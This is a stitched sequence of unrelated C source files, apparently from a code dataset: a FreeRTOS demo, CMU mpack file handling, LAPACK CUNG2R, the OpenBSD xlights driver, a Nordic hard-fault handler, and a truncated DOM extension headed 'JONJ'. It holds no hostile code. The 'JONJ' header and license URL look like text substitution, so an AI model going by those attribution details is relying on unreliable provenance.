/* Initialise xNextWakeTime - this only needs to be done once. */
xNextWakeTime = xTaskGetTickCount();
for( ;; )
{
/* Place this task in the blocked state until it is time to run again.
The block time is specified in ticks, the constant used converts ticks
to ms. While in the Blocked state this task will not consume any CPU
time. */
vTaskDelayUntil( &xNextWakeTime, mainQUEUE_SEND_FREQUENCY_MS );
/* Send to the queue - causing the queue receive task to unblock and
toggle the LED. 0 is used as the block time so the sending operation
will not block - it shouldn't need to block as the queue should always
be empty at this point in the code. */
xQueueSend( xQueue, &ulValueToSend, 0U );
}
}
/*-----------------------------------------------------------*/
static void prvQueueReceiveTask( void *pvParameters )
{
unsigned long ulReceivedValue;
/* Check the task parameter is as expected. */
configASSERT( ( ( unsigned long ) pvParameters ) == mainQUEUE_RECEIVE_PARAMETER );
for( ;; )
{
/* Wait until something arrives in the queue - this task will block
indefinitely provided INCLUDE_vTaskSuspend is set to 1 in
FreeRTOSConfig.h. */
xQueueReceive( xQueue, &ulReceivedValue, portMAX_DELAY );
/* To get here something must have been received from the queue, but
is it the expected value? If it is, toggle the LED. */
if( ulReceivedValue == 100UL )
{
configTOGGLE_LED();
ulReceivedValue = 0U;
}
}
}
/*-----------------------------------------------------------*/
|
385216.c | /* (C) Copyright 1993,1994 by Carnegie Mellon University
* All Rights Reserved.
*
* Permission to use, copy, modify, distribute, and sell this software
* and its documentation for any purpose is hereby granted without
* fee, provided that the above copyright notice appear in all copies
* and that both that copyright notice and this permission notice
* appear in supporting documentation, and that the name of Carnegie
* Mellon University not be used in advertising or publicity
* pertaining to distribution of the software without specific,
* written prior permission. Carnegie Mellon University makes no
* representations about the suitability of this software for any
* purpose. It is provided "as is" without express or implied
* warranty.
*
* CARNEGIE MELLON UNIVERSITY DISCLAIMS ALL WARRANTIES WITH REGARD TO
* THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS, IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY BE LIABLE
* FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN
* AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING
* OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
* SOFTWARE.
*/
/* Based on dosos.c */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include "xmalloc.h"
#include "common.h"
char *getParam();
int overwrite_files = 0;
int didchat;
/* The name of the file we're writing */
static char *output_fname = 0;
/* Characters that can be in filenames */
#define GOODCHARS "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!'()+/=?[]`{|}~" /* some of those symbols are a tad dubious */
static unsigned long load, exec, acc;
static fLoad, fExec, fAcc; /* flags to say if each set */
/* RISC OS needs this to find filetype, etc */
/* Quite likely to be an empty function for many ports */
/* no longer a hook function - rework at some point */
os_parameterhook(contentParams)
params contentParams;
{
fLoad=fExec=fAcc=0;
if (contentParams) {
char *p;
p = getParam(contentParams, "load");
if (p) {
if (*p=='&')
p++;
load=strtoul(p,NULL,16);
fLoad=1;
}
p = getParam(contentParams, "exec");
if (p) {
if (*p=='&')
p++;
exec=strtoul(p,NULL,16);
fExec=1;
}
p = getParam(contentParams, "access");
if (p) {
if (*p=='&')
p++;
acc=strtoul(p,NULL,16);
fAcc=1;
}
}
}
static char *dir=NULL;
static int offset[10];
static int fFirst=0;
os_boundaryhookopen(depth)
int depth;
{
/* printf("((( %d '%s'\n",depth,dir?dir:"(null)"); */
if (dir) {
offset[depth]=strlen(dir);
} else {
offset[depth]=0;
}
if (depth>1)
fFirst=1;
}
os_boundaryhookclose(depth)
int depth;
{
/* printf("))) %d '%s'\n",depth,dir?dir:"(null)"); */
if (dir) {
dir[offset[depth+1]]='\0';
}
}
/* Generate a message-id */
char *os_genid()
{
static time_t curtime;
static char *hostname;
char *result;
if (curtime == 0) {
time(&curtime);
hostname = getenv("HOSTNAME");
if (!hostname) hostname="random-arc";
}
result = xmalloc(25+strlen(hostname));
sprintf(result, "%lu@%s", curtime++, hostname);
return result;
}
/* Create and return directory for a message-id */
char *os_idtodir(id)
char *id;
{
static char buf[256];
int len = 0;
char *p;
if (p = getenv("Wimp$ScrapDir")) {
strncpy(buf, p, 201);
buf[200] = '\0'; /* Ensure sufficiently short */
}
else {
strcpy(buf, "/tmp");
(void)mkdir(buf);
}
strcat(buf, "/mimeparts");
(void)mkdir(buf);
p = buf + strlen(buf);
*p++ = '/';
while (*id && len < 10) {
if (strchr(GOODCHARS, *id)) {
/* if (len++ == 8) *p++ = '.'; */
*p++ = *id;
}
id++;
}
*p = '\0';
if (mkdir(buf) == -1 && errno != EACCES) {
perror(buf);
return 0;
}
*p++ = '/';
*p = '\0';
return buf;
}
/*
* We are done with the directory returned by os_idtodir()
* Remove it
*/
os_donewithdir(dir)
char *dir;
{
char *p;
/* Remove trailing slash */
p = dir + strlen(dir) - 1;
*p = '\0';
rmdir(dir);
}
/*
* Create a new file, with suggested filename "fname".
* "fname" may have come from an insecure source, so clean it up first.
* It may also be null.
* "contentType" is passed in for use by systems that have typed filesystems.
* "flags" contains a bit pattern describing attributes of the new file.
*/
FILE *os_newtypedfile(fname, contentType, flags, contentParams)
char *fname;
char *contentType;
int flags;
params contentParams;
{
char *p, *q;
int len, sawdot;
static int filesuffix=0;
char buf[128], *descfname=0;
FILE *outfile = 0;
int fRISCOS=0;
extern int __uname_control;
int uname_control_old;
os_parameterhook(contentParams);
if (!fname) fname = "";
len=strlen(fname);
if (cistrcmp(contentType,"APPLICATION/RISCOS")==0) {
fRISCOS=1; /* It's definitely RISC OS */
/* check for directory */
if (len>5) {
if (strcmp(fname+len-5,",1000")==0 ||
strcmp(fname+len-5,",2000")==0) {
/* OK -- it's a RISC OS directory */
int lendir=0;
fname[len-5]='\0';
if (dir) {
lendir=strlen(dir);
dir=xrealloc(dir,lendir+len-3);
if (lendir)
dir[lendir++]='.';
strcpy(dir+lendir,fname);
} else {
dir=xmalloc(len);
strcpy(dir,fname);
}
{
int r[6];
r[4]=0;
if (os_file (0x08, dir, r)) {
printf("couldn't create '%s'\n",dir);
}
}
/* printf("&&& just mkdir(%s)-ed -- fFirst=%d\n",dir,fFirst); */
if (!fFirst) {
if (lendir) lendir--;
dir[lendir]='\0';
}
fFirst=0;
return NULL; /* ignore dummy message body */
}
}
}
/* printf("*** file '%s'\n*** type '%s'\n",fname,contentType?contentType:"(null)"); */
fFirst=0;
/* Turn of UnixLib name mangling as it goes wrong for "foo.c.bar" */
uname_control_old=__uname_control;
__uname_control|=1;
/* lose any RISC OS filetype (3 hex digits) appended after a ',' */
if (len>4 && fname[len-4]==',') {
int x;
fRISCOS=1;
for( x=len-3 ; x<len ; x++ )
if (!isxdigit(fname[x]))
fRISCOS=0;
if (fRISCOS)
fname[len-4]='\0';
}
if (!fRISCOS) {
/* Chop off any drive specifier, convert \ to / */
if (*fname && fname[1] == ':') fname +=2;
for (p = fname; *p; p++) if (*p == '\\') *p = '/';
/* If absolute path name, chop to tail */
if (*fname == '/') {
p = strrchr(fname, '/');
fname = p+1;
}
}
/* similarly for RISC OS pathnames */
if (strchr(fname,'$') || strchr(fname,'&') || strchr(fname,':')) {
fRISCOS=1;
p = strrchr(fname, '.');
fname = p+1;
}
if (fRISCOS && dir && *dir) {
char *p;
p=xmalloc(strlen(fname)+strlen(dir)+2);
strcpy(p,dir);
strcat(p,".");
strcat(p,fname);
fname=p;
}
if (!fRISCOS) {
/* Clean out bad characters, create directories along path */
for (p=q=fname, len=sawdot=0; *p; p++) {
if (*p == '/') {
if (!strncmp(p, "/../", 4)) {
p[1] = p[2] = 'X';
}
*q = '\0';
(void) mkdir(fname);
*q++ = '/';
len = sawdot = 0;
}
else if (*p == '.' && !sawdot) {
*q++ = '.';
sawdot++;
len = 0;
}
else if (/*len < (sawdot ? 3 : 8) &&*/ strchr(GOODCHARS, *p)) {
*q++ = *p;
len++;
}
}
*q = '\0';
}
if (!fname[0]) {
do {
if (outfile) fclose(outfile);
sprintf(buf, "part%d", ++filesuffix);
} while (outfile = fopen(buf, "r"));
fname = buf;
}
else if (!overwrite_files && (outfile = fopen(fname, "r"))) {
/* chop off suffix */
p = strrchr(fname, '/');
if (!p) p = fname;
p = strchr(p, '.');
if (p) *p = '\0';
/* append unique number */
do {
fclose(outfile);
sprintf(buf, "%s/%d", fname, ++filesuffix);
} while (outfile = fopen(buf, "r"));
fname = buf;
}
outfile = fopen(fname, (flags & FILE_BINARY) ? "wb" : "w");
if (!outfile) {
printf("++++ wouldn't open!!!!\n");
perror(fname);
}
if (output_fname) free(output_fname);
output_fname = strsave(fname);
if (strlen(fname) > sizeof(buf)-6) {
descfname = xmalloc(strlen(fname)+6);
}
else {
descfname = buf;
}
strcpy(descfname, fname);
p = strrchr(descfname, '/');
if (!p) p = descfname;
if (p = strrchr(p, '.')) *p = '\0';
strcat(descfname, "/dsc");
(void) rename(TEMPFILENAME, descfname);
if (descfname != buf) free(descfname);
fprintf(stdout, "%s (%s)\n", output_fname, contentType);
didchat = 1;
__uname_control=uname_control_old;
return outfile;
}
/*
* Close a file opened by os_newTypedFile()
*/
os_closetypedfile(outfile)
FILE *outfile;
{
fclose(outfile);
if (fLoad || fExec || fAcc) {
unsigned long args[6];
char *p;
args[2]=load;
args[3]=exec;
args[5]=acc;
if (fLoad && fExec && fAcc) {
/* printf("%x %x %x\n",load,exec,acc); */
p=(char*)os_file(1,output_fname,args);
if (p) printf("Failed to set file type/date/access '%s'\n",p+4);
} else {
if (fLoad) {
p=(char*)os_file(2,output_fname,args);
if (p) printf("Failed to set file load addr '%s'\n",p+4);
}
if (fExec) {
p=(char*)os_file(3,output_fname,args);
if (p) printf("Failed to set file exec addr '%s'\n",p+4);
}
if (fAcc) {
p=(char*)os_file(5,output_fname,args);
if (p) printf("Failed to set file access perms '%s'\n",p+4);
}
}
}
}
/*
* (Don't) Handle a BinHex'ed file
*/
int
os_binhex(inpart, part, nparts)
struct part *inpart;
int part;
int nparts;
{
return 1;
}
/*
* Warn user that the MD5 digest of the last file created by os_newtypedfile()
* did not match that supplied in the Content-MD5: header.
*/
os_warnMD5mismatch()
{
char *warning;
warning = xmalloc(strlen(output_fname) + 100);
sprintf(warning, "%s was corrupted in transit",
output_fname);
warn(warning);
free(warning);
}
/*
* Report an error (in errno) concerning a filename
*/
os_perror(file)
char *file;
{
perror(file);
}
|
817298.c | #include "f2c.h"
#include "blaswrap.h"
/* Table of constant values */
static integer c__1 = 1;
/* Subroutine */ int cung2r_(integer *m, integer *n, integer *k, complex *a,
integer *lda, complex *tau, complex *work, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3;
complex q__1;
/* Local variables */
integer i__, j, l;
extern /* Subroutine */ int cscal_(integer *, complex *, complex *,
integer *), clarf_(char *, integer *, integer *, complex *,
integer *, complex *, complex *, integer *, complex *),
xerbla_(char *, integer *);
/* -- LAPACK routine (version 3.1) -- */
/* Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. */
/* November 2006 */
/* .. Scalar Arguments .. */
/* .. */
/* .. Array Arguments .. */
/* .. */
/* Purpose */
/* ======= */
/* CUNG2R generates an m by n complex matrix Q with orthonormal columns, */
/* which is defined as the first n columns of a product of k elementary */
/* reflectors of order m */
/* Q = H(1) H(2) . . . H(k) */
/* as returned by CGEQRF. */
/* Arguments */
/* ========= */
/* M (input) INTEGER */
/* The number of rows of the matrix Q. M >= 0. */
/* N (input) INTEGER */
/* The number of columns of the matrix Q. M >= N >= 0. */
/* K (input) INTEGER */
/* The number of elementary reflectors whose product defines the */
/* matrix Q. N >= K >= 0. */
/* A (input/output) COMPLEX array, dimension (LDA,N) */
/* On entry, the i-th column must contain the vector which */
/* defines the elementary reflector H(i), for i = 1,2,...,k, as */
/* returned by CGEQRF in the first k columns of its array */
/* argument A. */
/* On exit, the m by n matrix Q. */
/* LDA (input) INTEGER */
/* The first dimension of the array A. LDA >= max(1,M). */
/* TAU (input) COMPLEX array, dimension (K) */
/* TAU(i) must contain the scalar factor of the elementary */
/* reflector H(i), as returned by CGEQRF. */
/* WORK (workspace) COMPLEX array, dimension (N) */
/* INFO (output) INTEGER */
/* = 0: successful exit */
/* < 0: if INFO = -i, the i-th argument has an illegal value */
/* ===================================================================== */
/* .. Parameters .. */
/* .. */
/* .. Local Scalars .. */
/* .. */
/* .. External Subroutines .. */
/* .. */
/* .. Intrinsic Functions .. */
/* .. */
/* .. Executable Statements .. */
/* Test the input arguments */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1;
a -= a_offset;
--tau;
--work;
/* Function Body */
*info = 0;
if (*m < 0) {
*info = -1;
} else if (*n < 0 || *n > *m) {
*info = -2;
} else if (*k < 0 || *k > *n) {
*info = -3;
} else if (*lda < max(1,*m)) {
*info = -5;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("CUNG2R", &i__1);
return 0;
}
/* Quick return if possible */
if (*n <= 0) {
return 0;
}
/* Initialise columns k+1:n to columns of the unit matrix */
i__1 = *n;
for (j = *k + 1; j <= i__1; ++j) {
i__2 = *m;
for (l = 1; l <= i__2; ++l) {
i__3 = l + j * a_dim1;
a[i__3].r = 0.f, a[i__3].i = 0.f;
/* L10: */
}
i__2 = j + j * a_dim1;
a[i__2].r = 1.f, a[i__2].i = 0.f;
/* L20: */
}
for (i__ = *k; i__ >= 1; --i__) {
/* Apply H(i) to A(i:m,i:n) from the left */
if (i__ < *n) {
i__1 = i__ + i__ * a_dim1;
a[i__1].r = 1.f, a[i__1].i = 0.f;
i__1 = *m - i__ + 1;
i__2 = *n - i__;
clarf_("Left", &i__1, &i__2, &a[i__ + i__ * a_dim1], &c__1, &tau[
i__], &a[i__ + (i__ + 1) * a_dim1], lda, &work[1]);
}
if (i__ < *m) {
i__1 = *m - i__;
i__2 = i__;
q__1.r = -tau[i__2].r, q__1.i = -tau[i__2].i;
cscal_(&i__1, &q__1, &a[i__ + 1 + i__ * a_dim1], &c__1);
}
i__1 = i__ + i__ * a_dim1;
i__2 = i__;
q__1.r = 1.f - tau[i__2].r, q__1.i = 0.f - tau[i__2].i;
a[i__1].r = q__1.r, a[i__1].i = q__1.i;
/* Set A(1:i-1,i) to zero */
i__1 = i__ - 1;
for (l = 1; l <= i__1; ++l) {
i__2 = l + i__ * a_dim1;
a[i__2].r = 0.f, a[i__2].i = 0.f;
/* L30: */
}
/* L40: */
}
return 0;
/* End of CUNG2R */
} /* cung2r_ */
|
544768.c | /* $OpenBSD: xlights.c,v 1.7 2015/06/24 11:58:06 mpi Exp $ */
/*
* Copyright (c) 2007 Gordon Willem Klok <gwk@openbsd,org>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <sys/types.h>
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/proc.h>
#include <sys/device.h>
#include <sys/kthread.h>
#include <sys/timeout.h>
#include <dev/ofw/openfirm.h>
#include <machine/bus.h>
#include <machine/autoconf.h>
#include <macppc/dev/dbdma.h>
#include <macppc/dev/i2sreg.h>
#include <macppc/pci/macobio.h>
struct xlights_softc {
struct device sc_dev;
int sc_node;
int sc_intr;
uint32_t sc_freq;
int sc_dmasts;
u_char *sc_reg;
dbdma_regmap_t *sc_dma;
bus_dma_tag_t sc_dmat;
bus_dmamap_t sc_bufmap;
bus_dma_segment_t sc_bufseg[1];
dbdma_t sc_dbdma;
dbdma_command_t *sc_dmacmd;
uint32_t *sc_buf;
uint32_t *sc_bufpos;
struct timeout sc_tmo;
};
int xlights_match(struct device *, void *, void *);
void xlights_attach(struct device *, struct device *, void *);
int xlights_intr(void *);
void xlights_startdma(struct xlights_softc *);
void xlights_deferred(void *);
void xlights_theosDOT(void *);
void xlights_timeout(void *);
struct cfattach xlights_ca = {
sizeof(struct xlights_softc), xlights_match,
xlights_attach
};
struct cfdriver xlights_cd = {
NULL, "xlights", DV_DULL
};
#define BL_BUFSZ PAGE_SIZE
#define BL_DBDMA_CMDS 2
int
xlights_match(struct device *parent, void *arg, void *aux)
{
struct confargs *ca = aux;
int soundbus, soundchip, error;
char compat[32];
if (strcmp(ca->ca_name, "i2s") != 0)
return 0;
if ((soundbus = OF_child(ca->ca_node)) == 0)
return 0;
if ((soundchip = OF_child(soundbus)) == 0)
return 0;
error = OF_getprop(soundchip, "virtual", compat, sizeof(compat));
if (error == -1) {
error = OF_getprop(soundchip, "name", compat,
sizeof(compat));
if (error == -1 || (strcmp(compat, "lightshow")) != 0)
return 0;
}
/* we require at least 4 registers */
if (ca->ca_nreg / sizeof(int) < 4)
return 0;
/* we require at least 3 interrupts */
if (ca->ca_nintr / sizeof(int) < 6)
return 0;
return 1;
}
void
xlights_attach(struct device *parent, struct device *self, void *aux)
{
struct xlights_softc *sc = (struct xlights_softc *)self;
struct confargs *ca = aux;
int nseg, error, intr[6];
u_int32_t reg[4];
int type;
sc->sc_node = OF_child(ca->ca_node);
OF_getprop(sc->sc_node, "reg", reg, sizeof(reg));
ca->ca_reg[0] += ca->ca_baseaddr;
ca->ca_reg[2] += ca->ca_baseaddr;
if ((sc->sc_reg = mapiodev(ca->ca_reg[0], ca->ca_reg[1])) == NULL) {
printf(": cannot map registers\n");
return;
}
sc->sc_dmat = ca->ca_dmat;
if ((sc->sc_dma = mapiodev(ca->ca_reg[2], ca->ca_reg[3])) == NULL) {
printf(": cannot map DMA registers\n");
goto nodma;
}
if ((sc->sc_dbdma = dbdma_alloc(sc->sc_dmat, BL_DBDMA_CMDS)) == NULL) {
printf(": cannot alloc DMA descriptors\n");
goto nodbdma;
}
sc->sc_dmacmd = sc->sc_dbdma->d_addr;
if ((error = bus_dmamem_alloc(sc->sc_dmat, BL_BUFSZ, 0, 0,
sc->sc_bufseg, 1, &nseg, BUS_DMA_NOWAIT))) {
printf(": cannot allocate DMA mem (%d)\n", error);
goto nodmamem;
}
if ((error = bus_dmamem_map(sc->sc_dmat, sc->sc_bufseg, nseg,
BL_BUFSZ, (caddr_t *)&sc->sc_buf, BUS_DMA_NOWAIT))) {
printf(": cannot map DMA mem (%d)\n", error);
goto nodmamap;
}
sc->sc_bufpos = sc->sc_buf;
if ((error = bus_dmamap_create(sc->sc_dmat, BL_BUFSZ, 1, BL_BUFSZ, 0,
BUS_DMA_NOWAIT | BUS_DMA_ALLOCNOW, &sc->sc_bufmap))) {
printf(": cannot create DMA map (%d)\n", error);
goto nodmacreate;
}
if ((error = bus_dmamap_load(sc->sc_dmat, sc->sc_bufmap, sc->sc_buf,
BL_BUFSZ, NULL, BUS_DMA_NOWAIT))) {
printf(": cannot load DMA map (%d)\n", error);
goto nodmaload;
}
/* XXX: Should probably extract this from the clock data
* property of the soundchip node */
sc->sc_freq = 16384;
OF_getprop(sc->sc_node, "interrupts", intr, sizeof(intr));
/* output interrupt */
sc->sc_intr = intr[2];
type = intr[3] ? IST_LEVEL : IST_EDGE;
printf(": irq %d\n", sc->sc_intr);
macobio_enable(I2SClockOffset, I2S0EN);
out32rb(sc->sc_reg + I2S_INT, I2S_INT_CLKSTOPPEND);
macobio_disable(I2SClockOffset, I2S0CLKEN);
for (error = 0; error < 1000; error++) {
if (in32rb(sc->sc_reg + I2S_INT) & I2S_INT_CLKSTOPPEND) {
error = 0;
break;
}
delay(1);
}
if (error) {
printf("%s: i2s timeout\n", sc->sc_dev.dv_xname);
goto nodmaload;
}
mac_intr_establish(parent, sc->sc_intr, intr[3] ? IST_LEVEL :
type, IPL_TTY, xlights_intr, sc, sc->sc_dev.dv_xname);
out32rb(sc->sc_reg + I2S_FORMAT, CLKSRC_VS);
macobio_enable(I2SClockOffset, I2S0CLKEN);
kthread_create_deferred(xlights_deferred, sc);
timeout_set(&sc->sc_tmo, xlights_timeout, sc);
return;
nodmaload:
bus_dmamap_destroy(sc->sc_dmat, sc->sc_bufmap);
nodmacreate:
bus_dmamem_unmap(sc->sc_dmat, (caddr_t)sc->sc_buf, BL_BUFSZ);
nodmamap:
bus_dmamem_free(sc->sc_dmat, sc->sc_bufseg, nseg);
nodmamem:
dbdma_free(sc->sc_dbdma);
nodbdma:
unmapiodev((void *)sc->sc_dma, ca->ca_reg[3]);
nodma:
unmapiodev(sc->sc_reg, ca->ca_reg[1]);
}
void
xlights_deferred(void *v)
{
struct xlights_softc *sc = (struct xlights_softc *)v;
kthread_create(xlights_theosDOT, v, NULL, sc->sc_dev.dv_xname);
}
/*
* xserv has two rows of leds laid out as follows
* 25 26 27 28 29 30 31 00
* 17 18 19 20 21 22 23 24
*/
char ledfollow_0[16] = { 25, 26, 27, 28, 29, 30, 31, 00,
24, 23, 22, 21, 20, 19, 18, 17 };
char ledfollow_1[16] = { 17, 25, 26, 27, 28, 29, 30, 31,
00, 24, 23, 22, 21, 20, 19, 18 };
char ledfollow_2[16] = { 18, 17, 25, 26, 27, 28, 29, 30,
31, 00, 24, 23, 22, 21, 20, 19 };
void
xlights_theosDOT(void *v)
{
struct xlights_softc *sc = (struct xlights_softc *)v;
uint32_t *p;
int k, nsamp;
int ledpos, ledpos_high, ledpos_med, ledpos_dim;
uint32_t val;
while (1) {
/*
* ldavg 0 - .5 sec -> (8192 / 16)
* ldavg 1 - 1 sec -> (16384 / 16)
* ldavg 2 - 1.5 sec -> (24576 / 16)
*/
nsamp = sc->sc_freq +
sc->sc_freq / FSCALE * averunnable.ldavg[0];
nsamp /= 16; /* scale, per led */
nsamp /= 4; /* scale, why?, sizeof(uint32_t)? */
for (ledpos = 0; ledpos < 16; ledpos++) {
ledpos_high = ledfollow_0[ledpos];
ledpos_med = ledfollow_1[ledpos];
ledpos_dim = ledfollow_2[ledpos];
p = sc->sc_bufpos;
for (k = 0; k < nsamp;) {
if (p - sc->sc_buf <
BL_BUFSZ / sizeof(uint32_t)) {
val = (1 << ledpos_high);
if ((k % 4) == 0)
val |= (1 << ledpos_med);
if ((k % 16) == 0)
val |= (1 << ledpos_dim);
*p = val;
p++;
k++;
} else {
xlights_startdma(sc);
while (sc->sc_dmasts)
tsleep(sc->sc_buf, PWAIT,
"blinken", 0);
p = sc->sc_buf;
}
}
sc->sc_bufpos = p;
}
}
}
void
xlights_startdma(struct xlights_softc *sc)
{
dbdma_command_t *cmdp = sc->sc_dmacmd;
sc->sc_dmasts = 1;
timeout_add(&sc->sc_tmo, 250);
DBDMA_BUILD(cmdp, DBDMA_CMD_OUT_LAST, 0,
sc->sc_bufmap->dm_segs[0].ds_len,
sc->sc_bufmap->dm_segs[0].ds_addr, DBDMA_INT_ALWAYS,
DBDMA_WAIT_NEVER, DBDMA_BRANCH_NEVER);
cmdp++;
DBDMA_BUILD(cmdp, DBDMA_CMD_STOP, 0, 0, 0, DBDMA_INT_NEVER,
DBDMA_WAIT_NEVER, DBDMA_BRANCH_NEVER);
dbdma_start(sc->sc_dma, sc->sc_dbdma);
}
void
xlights_timeout(void *v)
{
struct xlights_softc *sc = (struct xlights_softc *)v;
dbdma_reset(sc->sc_dma);
timeout_del(&sc->sc_tmo);
sc->sc_dmasts = 0;
wakeup(sc->sc_buf);
}
int
xlights_intr(void *v)
{
struct xlights_softc *sc = (struct xlights_softc *)v;
int status;
dbdma_command_t *cmd;
cmd = sc->sc_dmacmd;
status = dbdma_ld16(&cmd->d_status);
if (sc->sc_dmasts) {
sc->sc_dmasts = 0;
timeout_del(&sc->sc_tmo);
wakeup(sc->sc_buf);
return (1);
}
return (0);
}
|
33718.c | /**
* Copyright (c) 2015 - 2017, Nordic Semiconductor ASA
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form, except as embedded into a Nordic
* Semiconductor ASA integrated circuit in a product or a software update for
* such product, must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other
* materials provided with the distribution.
*
* 3. Neither the name of Nordic Semiconductor ASA nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* 4. This software, with or without modification, must only be used with a
* Nordic Semiconductor ASA integrated circuit.
*
* 5. Any software provided in binary form under this license must not be reverse
* engineered, decompiled, modified and/or disassembled.
*
* THIS SOFTWARE IS PROVIDED BY NORDIC SEMICONDUCTOR ASA "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY, NONINFRINGEMENT, AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL NORDIC SEMICONDUCTOR ASA OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include "sdk_common.h"
#if NRF_MODULE_ENABLED(HARDFAULT_HANDLER)
#include <stdint.h>
#include "compiler_abstraction.h"
#pragma section = "CSTACK"
extern void HardFault_c_handler( uint32_t * );
__stackless void HardFault_Handler(void);
__stackless void HardFault_Handler(void)
{
__ASM volatile(
" ldr.n r3, 103f \n"
" tst lr, #4 \n"
/* PSP is quite simple and does not require additional handler */
" itt ne \n"
" mrsne r0, psp \n"
/* Jump to the handler, do not store LR - returning from handler just exits exception */
" bxne r3 \n"
/* Processing MSP requires stack checking */
" mrs r0, msp \n"
" ldr.n r1, 101f \n"
" ldr.n r2, 102f \n"
/* MSP is in the range of the stack area */
" cmp r0, r1 \n"
" bhi.n 1f \n"
" cmp r0, r2 \n"
" bhi.n 2f \n"
"1: \n"
" mov sp, r1 \n"
" mov r0, #0 \n"
"2: \n"
" bx r3 \n"
/* Data alignment if required */
" nop \n"
"DATA \n"
"101: \n"
" DC32 %c0 \n"
"102: \n"
" DC32 %c1 \n"
"103: \n"
" DC32 %c2 \n"
: /* Outputs */
: /* Inputs */
"i"(__section_end("CSTACK")),
"i"(__section_begin("CSTACK")),
"i"(&HardFault_c_handler)
);
}
#endif //NRF_MODULE_ENABLED(HARDFAULT_HANDLER)
|
2888.c | /*
+----------------------------------------------------------------------+
| JONJ Version 5 |
+----------------------------------------------------------------------+
| Copyright (c) 1997-2016 The JONJ Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the JONJ license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.jonj.tk/license/3_01.txt |
| If you did not receive a copy of the JONJ license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| [email protected] so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Authors: Christian Stocker <[email protected]> |
| Rob Richards <[email protected]> |
+----------------------------------------------------------------------+
*/
/* $Id$ */
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "jonj.h"
#if HAVE_LIBXML && HAVE_DOM
#include "jonj_dom.h"
#include "dom_ce.h"
typedef struct _nodeIterator nodeIterator;
struct _nodeIterator {
int cur;
int index;
xmlNode *node;
};
typedef struct _notationIterator notationIterator;
struct _notationIterator {
int cur;
int index;
xmlNotation *notation;
};
static void itemHashScanner (void *payload, void *data, xmlChar *name) /* {{{ */
{
nodeIterator *priv = (nodeIterator *)data;
if(priv->cur < priv->index) {
priv->cur++;
} else {
if(priv->node == NULL) {
priv->node = (xmlNode *)payload;
}
}
}
/* }}} */
xmlNodePtr create_notation(const xmlChar *name, const xmlChar *ExternalID, const xmlChar *SystemID) /* {{{ */
{
xmlEntityPtr ret;
ret = (xmlEntityPtr) xmlMalloc(sizeof(xmlEntity));
memset(ret, 0, sizeof(xmlEntity));
ret->type = XML_NOTATION_NODE;
ret->name = xmlStrdup(name);
ret->ExternalID = xmlStrdup(ExternalID);
ret->SystemID = xmlStrdup(SystemID);
ret->length = 0;
ret->content = NULL;
ret->URI = NULL;
ret->orig = NULL;
ret->children = NULL;
ret->parent = NULL;
ret->doc = NULL;
ret->_private = NULL;
ret->last = NULL;
ret->prev = NULL;
return((xmlNodePtr) ret);
}
/* }}} */
xmlNode *jonj_dom_libxml_hash_iter(xmlHashTable *ht, int index) /* {{{ */
{
xmlNode *nodep = NULL;
nodeIterator *iter;
int htsize;
if ((htsize = xmlHashSize(ht)) > 0 && index < htsize) {
iter = emalloc(sizeof(nodeIterator));
iter->cur = 0;
iter->index = index;
